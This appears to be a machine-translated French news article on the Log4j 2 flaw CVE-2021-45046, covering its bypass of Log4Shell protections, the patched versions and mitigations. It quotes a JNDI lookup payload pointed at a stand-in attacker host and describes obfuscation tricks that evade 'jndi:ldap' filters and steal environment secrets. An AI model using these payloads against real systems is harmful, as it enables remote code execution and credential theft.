La nouvelle a été publiée récemment qu'il était identifié une autre vulnérabilité dans l'implémentation de la recherche JNDI dans la bibliothèque Log4j 2 (CVE-2021-45046), qui se produit malgré les correctifs ajoutés dans la version 2.15 et indépendamment de l'utilisation du paramètre de protection "log4j2.noFormatMsgLookup".
Le problème il est notamment dangereux principalement pour les anciennes versions de Log4j 2, protégé par le drapeau "noFormatMsgLookup", car il vous permet de contourner la protection contre les vulnérabilités passées (Log4Shell, CVE-2021-44228), ce qui vous permet d'exécuter votre code sur le serveur.
Pour utilisateurs de la version 2.15, l'opération se limite à créer des conditions pour la fin anormale de l'application en raison de l'épuisement des ressources disponibles.
Vulnérabilité n'affecte que les systèmes qui utilisent la recherche contextuelle, tels que $ {ctx: loginId}, ou des modèles Thread Context Map (MDC), tels que % X, % mdc et % MDC, pour l'enregistrement.
L'opération se résume à créer des conditions pour envoyer des données contenant des substitutions JNDI au registre lors de l'utilisation de requêtes contextuelles ou de modèles MDC dans l'application, qui déterminent les règles de formatage de la sortie vers le registre.
Les Les chercheurs de LunaSec ont noté que pour les versions Log4j inférieures à 2.15, cette vulnérabilité peut être utilisée comme un nouveau vecteur pour une attaque Log4Shell, entraînant l'exécution de code si des expressions ThreadContext sont utilisées lors de la publication dans le registre, ce qui inclut des données externes, que l'indicateur soit ou non défini pour la protection. Modèle "NoMsgFormatLookups" ou "% m {nolookups}".
Le contournement de la protection se réduit au fait qu'au lieu de la substitution directe "$ {jndi:ldap: //example.com/a}", cette expression est substituée à la valeur d'une variable intermédiaire utilisée dans les règles pour formater l'extraction le registre.
Par exemple, si la requête de contexte $ {ctx: apiversion} est utilisée lors de l'envoi au registre, l'attaque peut être effectuée en substituant la donnée "$ {jndi: ldap: //attacker.com/a}" dans la valeur écrit dans la variable d'écart.
Dans la version Log4j 2.15, la vulnérabilité peut être utilisée pour effectuer des attaques DoS lors de la transmission de valeurs à ThreadContext, qui parcourt le traitement du modèle de format de sortie.
Pouvoir essayer de résoudre les problèmes rencontrés les mises à jour 2.16 et 2.12.2 ont été publiées pour bloquer la vulnérabilité. Dans la branche Log4j 2.16, en plus des correctifs implémentés dans la version 2.15 et de la liaison des requêtes LDAP JNDI à "localhost", par défaut la fonctionnalité JNDI est complètement désactivée et la prise en charge des modèles de substitution de messages a été supprimée.
Pour contourner le problème, il est suggéré de supprimer la classe JndiLookup du chemin de classe (par exemple, "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").
Quant à la actions menées par les différents projets :
Pour NginxBasé sur le module njs, un script a été préparé qui bloque la transmission des expressions JNDI dans les en-têtes HTTP, les URI et le corps des requêtes POST. Le script peut être utilisé sur les serveurs frontaux pour protéger les backends.
Pour HAProxy, des règles de configuration sont fournies pour bloquer le fonctionnement de CVE-2021-44228.
En plus des attaques identifiées précédemment ciblant la formation d'un botnet pour l'extraction de crypto-monnaie, il y a eu l'exploitation d'une vulnérabilité dans Log4J 2 pour diffuser un ransomware malveillant cryptant le contenu des disques et nécessitant une rançon pour le décryptage.
Checkpoint a identifié une soixantaine de variantes différents types d'exploits utilisés pour les attaques.
CloudFlare a signalé que les tentatives de tester la manifestation d'une vulnérabilité dans Log4j ils ont été identifiés le 1er décembre, soit 8 jours avant la divulgation publique du problème. Les premières tentatives d'exploitation de la vulnérabilité n'ont été enregistrées que 9 minutes après la divulgation de l'information. Le rapport CloudFlare mentionne également l'utilisation de substitutions telles que "$ {env: FOO: -j} ndi: $ {lower: L} donne $ {lower: P}" pour omettre le masque "jndi: ldap" et l'utilisation de Expressions d'attaque $ {env} pour transférer des informations sur les mots de passe et les clés d'accès stockées dans les variables d'environnement vers un serveur externe, et expressions $ {sys} pour collecter des informations sur le système.
Enfin si vous souhaitez en savoir plus vous pouvez vérifier le lien suivant